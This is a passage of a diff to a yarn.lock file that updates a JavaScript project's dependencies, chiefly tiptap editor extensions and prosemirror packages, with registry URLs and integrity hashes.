- resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.24.tgz#ffd6226a98a62c5314012b8c1cc60c90709d0b9c"
- integrity sha512-kRHJySSJl6QgPvnD+MkN3rzwQgInbq5zE4oxPPbgqYkaAcVSL/q7JBQK1dXMMFaslQlYmEgM6Eh3oU5vo9gUdQ==
+"@tiptap/extension-horizontal-rule@^2.0.0-beta.30":
+ version "2.0.0-beta.30"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.30.tgz#56d497f1187384d131f3f3320f30748c1e4b766f"
+ integrity sha512-h/PlkvfcMuoBGRfD7Cbeh8mxZiEc2pKveLDwOfCES9TKV5i2lqcIgctpohWyISuFcTq4K+OFgr910+Rsp8qwEg==
dependencies:
prosemirror-state "^1.3.4"
-"@tiptap/extension-image@^2.0.0-beta.19":
- version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.19.tgz#40bd95d6d4306d28640bf60a074f20c792f375c6"
- integrity sha512-17ax4H6Y+xyePfLtL5Z2V2AuWKHziukixHigA+Go4yOdEHlSDvl+x8eNYAZkxy2nH1yFW+uu7Onv8Ln/jWzqLg==
+"@tiptap/extension-image@^2.0.0-beta.24":
+ version "2.0.0-beta.24"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.24.tgz#1010676f79925cbe11a44b6d8eee1251910fbc1d"
+ integrity sha512-7oiX/Ovj9WN4xTBqWbQWd4H3SUO2eNzOiKHebVo3eqWG8NxzOGfuU0iRCENtEa7vTiRrFgyeBotneMALDpDnTQ==
-"@tiptap/extension-italic@^2.0.0-beta.19":
- version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.19.tgz#8f140e778e8cbd2281df6463d895d3632280c26f"
- integrity sha512-gEVDqEz25glLuOPW1IOPJy/AIrTgsm164XSi9lnwS1uZa1bmEAKpoALN0+9VzSVaBOmrg2tycMo+iuOhYxFb7w==
+"@tiptap/extension-italic@^2.0.0-beta.24":
+ version "2.0.0-beta.24"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.24.tgz#0a08d06dbd8dbf10f18ed17f019aa42d7ac9dbe0"
+ integrity sha512-pMAWFaLFb0Z0SC5pjoTKzC6m4CQOdUYeVlHvTS/550Z9lf8cqMawQ8H6Yk6brIuANyh7iUi4/zpq4H4rAdUCuw==
-"@tiptap/extension-link@^2.0.0-beta.23":
- version "2.0.0-beta.23"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.23.tgz#7591dfe6eb8f65548c2b6a562c2b6ec0568d23c2"
- integrity sha512-XnNdu6OyB09M4Qsru5j/GsDwj/EFjLQNmGZSQIS3GoaEcxrOImohnEZBZO9WJ11A5IT2GilpRZn2wHscdKoBdA==
+"@tiptap/extension-link@^2.0.0-beta.28":
+ version "2.0.0-beta.28"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.28.tgz#4385f36b6bb31fab34a86fb7c686ca05a37ed572"
+ integrity sha512-dZNaEjoDhgjmts44KqgtOYObCdDYZq/yFhsZ8QfqEgNHJMvBNTDaPXwBDW9i3BTkkyLTmwR/qwWxqDrfDdKh2A==
dependencies:
linkifyjs "^3.0.3"
prosemirror-state "^1.3.4"
-"@tiptap/extension-list-item@^2.0.0-beta.14":
- version "2.0.0-beta.14"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.14.tgz#65a9ff9daa11bc9ca8bc2989a891abe68081cfbd"
- integrity sha512-t6xwEqP+d5443Ul2Jvqz9kXb3ro7bA7yY9HA0vskm3120WxxHW9jxgxZN+82Ot5Tm7nXOAlsN6vuqnt4idnxZQ==
-
-"@tiptap/extension-ordered-list@^2.0.0-beta.19":
+"@tiptap/extension-list-item@^2.0.0-beta.19":
version "2.0.0-beta.19"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.19.tgz#eeab2e8488b84ba7deb93b299370dc187d37c98a"
- integrity sha512-PHC5pA1gohxCJF2xMXOzruPt8XWyWLun3vhJL2AIUUzUoGJmSRhsc8Wreeozdlf8HkKrqnsIuk5tp6IEsau6Pw==
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.19.tgz#657f2c5624a30f3effff723f4fadb0851a61dab8"
+ integrity sha512-z/5NrRKwwJc2ZkgoGxRQmA/VENxQugZoxKhUu2qoUdg5cJRcW+ERoKTiY1/AR+4M2k1izNWQMIz3nQNWMx1kQA==
-"@tiptap/extension-paragraph@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.17.tgz#f8f0263359b95dec9c10078699697908568d9be9"
- integrity sha512-qCQVCf9c2hgaeIdfy22PaoZyW5Vare/1aGkOEAaZma5RjrUbV9hrRKwoW9LsDjnh1EN1fIeKdg02yEhnHWtG8A==
-
-"@tiptap/extension-strike@^2.0.0-beta.21":
- version "2.0.0-beta.21"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.21.tgz#d4b7f0d52a275bc6a4ddc60fe546495d9f77f041"
- integrity sha512-uYU5k05MChVtZUwWMXAl+xp3IGx/N/+8VZaeJDlIZfg0hew+ZdEGVjwzgCQc1PAuEZriHhbpPg1yOdcHjWga8Q==
-
-"@tiptap/extension-subscript@^2.0.0-beta.4":
- version "2.0.0-beta.4"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-subscript/-/extension-subscript-2.0.0-beta.4.tgz#07907df58695eb02bf6904d2c3635111003b30fd"
- integrity sha512-eEjUXkgfeIBIgzdg3/GQGdta9Ww0Wwfiovn7ZvalRofRT4dnoiS0/83t1pQL81JT+ENow5jtx8RZHlaw/fMP4g==
-
-"@tiptap/extension-superscript@^2.0.0-beta.4":
- version "2.0.0-beta.4"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-superscript/-/extension-superscript-2.0.0-beta.4.tgz#16906d71dd8f9892101cf792f42005f8cd404516"
- integrity sha512-rTQCnSnloSf6UN1y3zhu6j41MxrcCVWm5JIPX8VEt60WsOXJLAc/YJHLYi2FWhh/Psq8k78sPrmZbjYUrj3Dkw==
-
-"@tiptap/extension-table-cell@^2.0.0-beta.15":
- version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-cell/-/extension-table-cell-2.0.0-beta.15.tgz#2059946b1657f0f22415bda84cee77fb1eb232b1"
- integrity sha512-MyZHJlFOF2z4Y1DQ/uuFbDPYQxSrl/PW8TEpAh2UQI/PGVsKkjzHItTvLtWSgo7t+tuPHbEOvIBDfpQKSyfbWg==
+"@tiptap/extension-ordered-list@^2.0.0-beta.24":
+ version "2.0.0-beta.24"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.24.tgz#69c56e2cfbf582b338d5dbc94c5eda4593775cb5"
+ integrity sha512-pXgwV+vuBAHMBGnUPa8fjxHapGCitfBJ1k8o3XvhotO7243Y7KOfYT7kg6XrY6dmTwCX2WLkIc912PP/E60y3A==
+
+"@tiptap/extension-paragraph@^2.0.0-beta.22":
+ version "2.0.0-beta.22"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.22.tgz#7740fb6393296ec58e98332b2855ebdc3fd05226"
+ integrity sha512-BY6GWHlMvGiXLgPHcfZRUHKzMi1jKw3i1JrpMEQ8JLwYD3koI/6UOB/qphwUJkCkIPQXNkZw4/aSBxL9uChRDg==
+
+"@tiptap/extension-strike@^2.0.0-beta.26":
+ version "2.0.0-beta.26"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.26.tgz#19eda1a61706ac9690ecbc794c711deb4e1efc3e"
+ integrity sha512-BA+oqqYOZzRLiMYlHX6BJXlIGaNIR9LObgkHEXAj/JPK7do4wDOcuVaw+dlWS+tzvTebLbC9GYAALfNqVBlTwA==
+
+"@tiptap/extension-subscript@^2.0.0-beta.9":
+ version "2.0.0-beta.9"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-subscript/-/extension-subscript-2.0.0-beta.9.tgz#4d86e904ec081384696562a5f550e81a1ddf2c76"
+ integrity sha512-wrmcDbXeilBW9HjJi34KpUioBCYD5zyaRu1hnIymVRwmfLNrwGpNyo/8VZTfNDdvliyMYHiRVFI4Mott6OzmgA==
+
+"@tiptap/extension-superscript@^2.0.0-beta.9":
+ version "2.0.0-beta.9"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-superscript/-/extension-superscript-2.0.0-beta.9.tgz#be43b0e85f6440ed200831309060c3f0691811f2"
+ integrity sha512-BxXvCDGtIiuPmY9JbgIEjNbrFzXN3SBj178CfmDcu/FrQimwcqmsfLP3JOu1ZbUwQJuNwubx026vHXPzHlLXDA==
+
+"@tiptap/extension-table-cell@^2.0.0-beta.20":
+ version "2.0.0-beta.20"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-cell/-/extension-table-cell-2.0.0-beta.20.tgz#859456fe8d7276a87161006a3f9b3642b306524c"
+ integrity sha512-IllQyxLQvgm1FAewz3U+DkgNHRthmuVrtUQnG6la45qdUOLCOrpFbRRaQ1LJ/BpbvZ2Xs1o2yAa97BqZOPwovQ==
-"@tiptap/extension-table-header@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-header/-/extension-table-header-2.0.0-beta.17.tgz#1bd008825146e6f5fc607a1d8682b5d47ba08f25"
- integrity sha512-HctO608QQEPe29QBtxXcDfBKfv+m9u2jBJ5AYpo7HjYGfUYRxv5uQpGXX3RW/c50+AhyTF0skF6Td1jiZcEPPw==
+"@tiptap/extension-table-header@^2.0.0-beta.22":
+ version "2.0.0-beta.22"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-header/-/extension-table-header-2.0.0-beta.22.tgz#a1672970d8985c383411bb21c18e71fc7e53e262"
+ integrity sha512-nMrghrfl+ZS4EDixs3lgXnHw1Q+ECyTugpRvS36rP7b8GFp3GXm9DfbIAUzwGGfcq1D7DwRnJUDM6ARdWXyw0w==
-"@tiptap/extension-table-row@^2.0.0-beta.14":
- version "2.0.0-beta.14"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-row/-/extension-table-row-2.0.0-beta.14.tgz#9ec98c73e309ee966b71ccd140019874d179e0c8"
- integrity sha512-mewdlTqgBCyzeZIZ6F08gfuzwsiYjQ7BvABo2UhDfr0+EN2UvfJj0bT3tGgeZhMxT5Js2DXL+c+ZOVJxWJ9faQ==
+"@tiptap/extension-table-row@^2.0.0-beta.19":
+ version "2.0.0-beta.19"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-row/-/extension-table-row-2.0.0-beta.19.tgz#b45e82f29dfcc7405440ba237b069dbb93d1a94a"
+ integrity sha512-ldEVDpIUX7ZqbViTy4c/RfyNGRv++O/r3A/Ivuon1PykaDDTbPlp5JM89FunAD39cLAbo2HKtweqdmzCMlZsqA==
-"@tiptap/extension-table@^2.0.0-beta.34":
- version "2.0.0-beta.34"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table/-/extension-table-2.0.0-beta.34.tgz#6669d7d937b981e39f7dfa04b9adbabc18f789bc"
- integrity sha512-DyY+m0PcvdVwh0XynDbsHXu/omUoTzQRQPI4z035J+b2HnLQnYjviNqblY/x8/rGX4qGGjBUmKvQZgwPGg7Dfw==
+"@tiptap/extension-table@^2.0.0-beta.43":
+ version "2.0.0-beta.43"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table/-/extension-table-2.0.0-beta.43.tgz#12fc8513f05dd49cba5f1a0d9dd14df9efc2050a"
+ integrity sha512-PALo2WCf/4RpICfJzBvbTaEOf6rpwmQK78jC3tR8kE9Sz6xOSydZmmbl4vovklXCHy3euaW9LCuyiiX+fjJDxw==
dependencies:
prosemirror-tables "^1.1.1"
- prosemirror-view "^1.20.3"
+ prosemirror-view "^1.23.1"
-"@tiptap/extension-task-item@^2.0.0-beta.21":
- version "2.0.0-beta.21"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-task-item/-/extension-task-item-2.0.0-beta.21.tgz#37a8d30949cefd79b80f107d426d14eb9aeaf567"
- integrity sha512-7pCOc+jSlveTGIUUVQO5LOGZN20vb1fAIFMUKAxG756MMI69eVhpdqrXcmovYT8qs//DcvxC/sEjus+ZzFtKVg==
+"@tiptap/extension-task-item@^2.0.0-beta.29":
+ version "2.0.0-beta.29"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-task-item/-/extension-task-item-2.0.0-beta.29.tgz#789bd2012fd9e89623c29a347da02c9cd6e34906"
+ integrity sha512-6pkY2NoLMJQxfaJsK8XY5Lv/fx0LVJBJ/J15RE8glUEzkDipNhHTBnHWcfzsa4Qzi6UcSy7NJKtT8ixiyqkRmw==
-"@tiptap/extension-task-list@^2.0.0-beta.18":
- version "2.0.0-beta.18"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-task-list/-/extension-task-list-2.0.0-beta.18.tgz#8b13593e3818995e7b5058bc400ee04c68314d69"
- integrity sha512-EkPM+We5TP6MWwk+dH3FX/aizNRgVzHDTnnGyMisEievaazi11oKmz72svVCfF+BJJaRdVroCbeRoLWYH7by7w==
+"@tiptap/extension-task-list@^2.0.0-beta.23":
+ version "2.0.0-beta.23"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-task-list/-/extension-task-list-2.0.0-beta.23.tgz#ca29039de53f7315e5612bfd1fb4ca6d471b9a2f"
+ integrity sha512-NjAQhtWDtkDpeKtJPItNeLi1fLLVACBFMq2yRCtKBXDGYg2X5w9CYPqXzh8gAIM2qs11wIgS60UtvF2No7Crxg==
-"@tiptap/extension-text@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.13.tgz#da0af8d9a3f149d20076e15d88c6af21fb6d940f"
- integrity sha512-0EtAwuRldCAoFaL/iXgkRepEeOd55rPg5N4FQUN1xTwZT7PDofukP0DG/2jff/Uj17x4uTaJAa9qlFWuNnDvjw==
+"@tiptap/extension-text@^2.0.0-beta.15":
+ version "2.0.0-beta.15"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.15.tgz#f08cff1b78f1c6996464dfba1fef8ec1e107617f"
+ integrity sha512-S3j2+HyV2gsXZP8Wg/HA+YVXQsZ3nrXgBM9HmGAxB0ESOO50l7LWfip0f3qcw1oRlh5H3iLPkA6/f7clD2/TFA==
-"@tiptap/vue-2@^2.0.0-beta.60":
- version "2.0.0-beta.60"
- resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.60.tgz#18b1c3e7f1a94e5a047c6e25f4e176a42b68e2d1"
- integrity sha512-6V2BucVL440yPy4YqCVxnaq7ZkiR9RmOtLydcNIt9/Abc/iQTkp2Q8qyDUqbGTfGfMEEdpuHd4m9ZRk3cuZ14g==
+"@tiptap/vue-2@^2.0.0-beta.69":
+ version "2.0.0-beta.69"
+ resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.69.tgz#65ed98e966c28c9614d4c5a6218e99397a2e0a26"
+ integrity sha512-Adm+YvhaihW3mpFIBgPH/3qlxG3hY7/g52gM3Kg0f//SNg/bDqK+AMLroZB5Je06ihCqBaRb1hrSD0/gTVMJ1g==
dependencies:
- "@tiptap/extension-bubble-menu" "^2.0.0-beta.42"
- "@tiptap/extension-floating-menu" "^2.0.0-beta.36"
- prosemirror-view "^1.20.3"
+ "@tiptap/extension-bubble-menu" "^2.0.0-beta.50"
+ "@tiptap/extension-floating-menu" "^2.0.0-beta.45"
+ prosemirror-view "^1.23.1"
"@toast-ui/editor@^2.5.2":
version "2.5.2"
@@ -1934,10 +1935,10 @@
"@types/prosemirror-model" "*"
"@types/prosemirror-state" "*"
-"@types/prosemirror-state@*", "@types/prosemirror-state@^1.2.7":
- version "1.2.7"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-state/-/prosemirror-state-1.2.7.tgz#cd55062e4043a31e3426f47668f1d7038b5d8dfb"
- integrity sha512-clJf5uw3/XQnBJtl2RqYXoLMGBySnLYl43xtDvFfQZKkLnnYcM1SDU8dcz7lWjl2Dm+H98RpLOl44pp7DYT+wA==
+"@types/prosemirror-state@*", "@types/prosemirror-state@^1.2.8":
+ version "1.2.8"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-state/-/prosemirror-state-1.2.8.tgz#65080eeec52f63c50bf7034377f07773b4f6b2ac"
+ integrity sha512-mq9uyQWcpu8jeamO6Callrdvf/e1H/aRLR2kZWSpZrPHctEsxWHBbluD/wqVjXBRIOoMHLf6ZvOkrkmGLoCHVA==
dependencies:
"@types/prosemirror-model" "*"
"@types/prosemirror-transform" "*"
@@ -2361,10 +2362,10 @@ ansi-escapes@^4.2.1:
dependencies:
type-fest "^0.21.3"
-ansi-html@0.0.7:
- version "0.0.7"
- resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
- integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
+ansi-html-community@0.0.8:
+ version "0.0.8"
+ resolved "https://registry.yarnpkg.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz#69fbc4d6ccbe383f9736934ae34c3f8290f1bf41"
+ integrity sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==
ansi-regex@^2.0.0:
version "2.1.1"
@@ -3242,11 +3243,6 @@ call-bind@^1.0.0, call-bind@^1.0.2:
function-bind "^1.1.1"
get-intrinsic "^1.0.2"
-call-me-maybe@^1.0.1:
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/call-me-maybe/-/call-me-maybe-1.0.1.tgz#26d208ea89e37b5cbde60250a15f031c16a4d66b"
- integrity sha1-JtII6onje1y95gJQoV8DHBak1ms=
-
callsites@^3.0.0:
version "3.1.0"
resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
@@ -3794,10 +3790,10 @@ core-js-pure@^3.0.0:
resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz#c79e75f5e38dbc85a662d91eea52b8256d53b813"
integrity sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==
-core-js@^3.18.2:
- version "3.18.2"
- resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.18.2.tgz#63a551e8a29f305cd4123754846e65896619ba5b"
- integrity sha512-zNhPOUoSgoizoSQFdX1MeZO16ORRb9FFQLts8gSYbZU5FcgXhp24iMWMxnOQo5uIaIG7/6FA/IqJPwev1o9ZXQ==
+core-js@^3.20.0:
+ version "3.20.0"
+ resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.20.0.tgz#1c5ac07986b8d15473ab192e45a2e115a4a95b79"
+ integrity sha512-KjbKU7UEfg4YPpskMtMXPhUKn7m/1OdTHTVjy09ScR2LVaoUXe8Jh0UdvN2EKUR6iKTJph52SJP95mAB0MnVLQ==
core-js@~2.3.0:
version "2.3.0"
@@ -3863,9 +3859,14 @@ create-require@^1.1.0:
integrity sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==
cron-validator@^1.1.1:
- version "1.1.1"
- resolved "https://registry.yarnpkg.com/cron-validator/-/cron-validator-1.1.1.tgz#0a27bb75508c7bc03c8b840d2d9f170eeacb5615"
- integrity sha512-vfZb05w/wezuwPZBDvdIBmJp2BvuJExHeyKRa5oBqD2ZDXR61hb3QgPc/3ZhBEQJlAy8Jlnn5XC/JCT3IDqxwg==
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/cron-validator/-/cron-validator-1.2.1.tgz#0f0de2de36d231a6ace0e43ffc6c0564fe6edf1a"
+ integrity sha512-RqdpGSokGFICPc8qAkT38aXqZLLanXghQTK2q7a2x2FabSwDd2ARrazd5ElEWAXzToUcMG4cZIwDH+5RM0q1mA==
+
+cronstrue@^1.122.0:
+ version "1.122.0"
+ resolved "https://registry.yarnpkg.com/cronstrue/-/cronstrue-1.122.0.tgz#bd6838077b476d28f61d381398b47b8c3912a126"
+ integrity sha512-PFuhZd+iPQQ0AWTXIEYX+t3nFGzBrWxmTWUKJOrsGRewaBSLKZ4I1f8s2kryU75nNxgyugZgiGh2OJsCTA/XlA==
cropper@^2.3.0:
version "2.3.0"
@@ -4918,11 +4919,16 @@ domhandler@^4.0.0, domhandler@^4.2.0:
dependencies:
domelementtype "^2.2.0"
-dompurify@2.3.3, dompurify@^2.3.3:
+dompurify@2.3.3:
version "2.3.3"
resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.3.3.tgz#c1af3eb88be47324432964d8abc75cf4b98d634c"
integrity sha512-dqnqRkPMAjOZE0FogZ+ceJNM2dZ3V/yNOuFB7+39qpO93hHhfRpHw3heYQC7DPK9FqbQTfBKUJhiSfz4MvXYwg==
+dompurify@^2.3.4:
+ version "2.3.4"
+ resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.3.4.tgz#1cf5cf0105ccb4debdf6db162525bd41e6ddacc6"
+ integrity sha512-6BVcgOAVFXjI0JTjEvZy901Rghm+7fDQOrNIcxB4+gdhj6Kwp6T9VBhBY/AbagKHJocRkDYGd6wvI+p4/10xtQ==
+
domutils@^1.5.1:
version "1.7.0"
resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
@@ -5036,7 +5042,12 @@ emittery@^0.7.1:
resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.7.1.tgz#c02375a927a40948c0345cc903072597f5270451"
integrity sha512-d34LN4L6h18Bzz9xpoku2nPwKxCPlPMr3EEKTkoEBi+1/+b0lcRkRJ1UVyyZaKNeqGR3swcGl6s390DNO4YVgQ==
-emoji-regex@^7.0.1, emoji-regex@^7.0.3:
+emoji-regex@^10.0.0:
+ version "10.0.0"
+ resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-10.0.0.tgz#96559e19f82231b436403e059571241d627c42b8"
+ integrity sha512-KmJa8l6uHi1HrBI34udwlzZY1jOEuID/ft4d8BSSEdRyap7PwBEt910453PJa5MuGvxkLqlt4Uvhu7tttFHViw==
+
+emoji-regex@^7.0.1:
version "7.0.3"
resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
@@ -6067,11 +6078,6 @@ glob-parent@^5.1.1, glob-parent@^5.1.2, glob-parent@~5.1.0:
dependencies:
is-glob "^4.0.1"
-glob-to-regexp@^0.4.0:
- version "0.4.1"
- resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
- integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
-
"glob@5 - 7", glob@^7.0.0, glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@~7.1.6:
version "7.1.7"
resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
@@ -6400,6 +6406,11 @@ highlight.js@^10.6.0, highlight.js@~10.7.0:
resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.2.tgz#89319b861edc66c48854ed1e6da21ea89f847360"
integrity sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg==
+highlight.js@^11.3.1:
+ version "11.3.1"
+ resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-11.3.1.tgz#813078ef3aa519c61700f84fe9047231c5dc3291"
+ integrity sha512-PUhCRnPjLtiLHZAQ5A/Dt5F8cWZeMyj9KRsACsWT+OD6OP0x6dp5OmT5jdx0JgEyPxPZZIPQpRN2TciUT7occw==
+
hmac-drbg@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
@@ -6608,6 +6619,11 @@ iferr@^0.1.5:
resolved "https://registry.yarnpkg.com/iferr/-/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
+iframe-resizer@^4.3.2:
+ version "4.3.2"
+ resolved "https://registry.yarnpkg.com/iframe-resizer/-/iframe-resizer-4.3.2.tgz#42dd88345d18b9e377b6044dddb98c664ab0ce6b"
+ integrity sha512-gOWo2hmdPjMQsQ+zTKbses08mDfDEMh4NneGQNP4qwePYujY1lguqP6gnbeJkf154gojWlBhIltlgnMfYjGHWA==
+
ignore-by-default@^1.0.1:
version "1.0.1"
resolved "https://registry.yarnpkg.com/ignore-by-default/-/ignore-by-default-1.0.1.tgz#48ca6d72f6c6a3af00a9ad4ae6876be3889e2b09"
@@ -9771,19 +9787,19 @@ prosemirror-collab@^1.2.2:
dependencies:
prosemirror-state "^1.0.0"
-prosemirror-commands@^1.1.11, prosemirror-commands@^1.1.4:
- version "1.1.11"
- resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.11.tgz#369252fcca5397ee7b011b963cc4da45b0b7cb70"
- integrity sha512-uXDVkOGJbFHocdacMJihrnQCT7tHswO48ewq6ByqLxTwOrI8Y4B4aHvwUbM4epwElv/YjgC+DuqXm/gEHPym4w==
+prosemirror-commands@^1.1.12, prosemirror-commands@^1.1.4:
+ version "1.1.12"
+ resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.1.12.tgz#5cb0fef4e5a0039e2fa19b42a5626af03d7c2ec3"
+ integrity sha512-+CrMs3w/ZVPSkR+REg8KL/clyFLv/1+SgY/OMN+CB22Z24j9TZDje72vL36lOZ/E4NeRXuiCcmENcW/vAcG67A==
dependencies:
prosemirror-model "^1.0.0"
prosemirror-state "^1.0.0"
prosemirror-transform "^1.0.0"
-prosemirror-dropcursor@^1.3.2, prosemirror-dropcursor@^1.3.5:
- version "1.3.5"
- resolved "https://registry.yarnpkg.com/prosemirror-dropcursor/-/prosemirror-dropcursor-1.3.5.tgz#d2808c17089df0e441ad66016aecc2b6457c8a1f"
- integrity sha512-tNUwcF2lPAkwKBZPZRtbxpwljnODRNZ3eiYloN1DSUqDjMT1nBZm0nejaEMS1TvNQ+3amibUSAiV4hX+jpASFA==
+prosemirror-dropcursor@^1.3.2, prosemirror-dropcursor@^1.4.0:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/prosemirror-dropcursor/-/prosemirror-dropcursor-1.4.0.tgz#91a859d4ee79c99b1c0ba6ee61c093b195c0d9f0"
+ integrity sha512-6+YwTjmqDwlA/Dm+5wK67ezgqgjA/MhSDgaNxKUzH97SmeuWFXyLeDRxxOPZeSo7yTxcDGUCWTEjmQZsVBuMrQ==
dependencies:
prosemirror-state "^1.0.0"
prosemirror-transform "^1.1.0"
@@ -9816,10 +9832,10 @@ prosemirror-inputrules@^1.1.2, prosemirror-inputrules@^1.1.3:
prosemirror-state "^1.0.0"
prosemirror-transform "^1.0.0"
-prosemirror-keymap@^1.0.0, prosemirror-keymap@^1.1.2, prosemirror-keymap@^1.1.3, prosemirror-keymap@^1.1.4:
- version "1.1.4"
- resolved "https://registry.yarnpkg.com/prosemirror-keymap/-/prosemirror-keymap-1.1.4.tgz#8b481bf8389a5ac40d38dbd67ec3da2c7eac6a6d"
- integrity sha512-Al8cVUOnDFL4gcI5IDlG6xbZ0aOD/i3B17VT+1JbHWDguCgt/lBHVTHUBcKvvbSg6+q/W4Nj1Fu6bwZSca3xjg==
+prosemirror-keymap@^1.0.0, prosemirror-keymap@^1.1.2, prosemirror-keymap@^1.1.4, prosemirror-keymap@^1.1.5:
+ version "1.1.5"
+ resolved "https://registry.yarnpkg.com/prosemirror-keymap/-/prosemirror-keymap-1.1.5.tgz#b5984c7d30f5c75956c853126c54e9e624c0327b"
+ integrity sha512-8SZgPH3K+GLsHL2wKuwBD9rxhsbnVBTwpHCO4VUO5GmqUQlxd/2GtBVWTsyLq4Dp3N9nGgPd3+lZFKUDuVp+Vw==
dependencies:
prosemirror-state "^1.0.0"
w3c-keyname "^2.2.0"
@@ -9832,10 +9848,10 @@ prosemirror-markdown@^1.6.0:
markdown-it "^10.0.0"
prosemirror-model "^1.0.0"
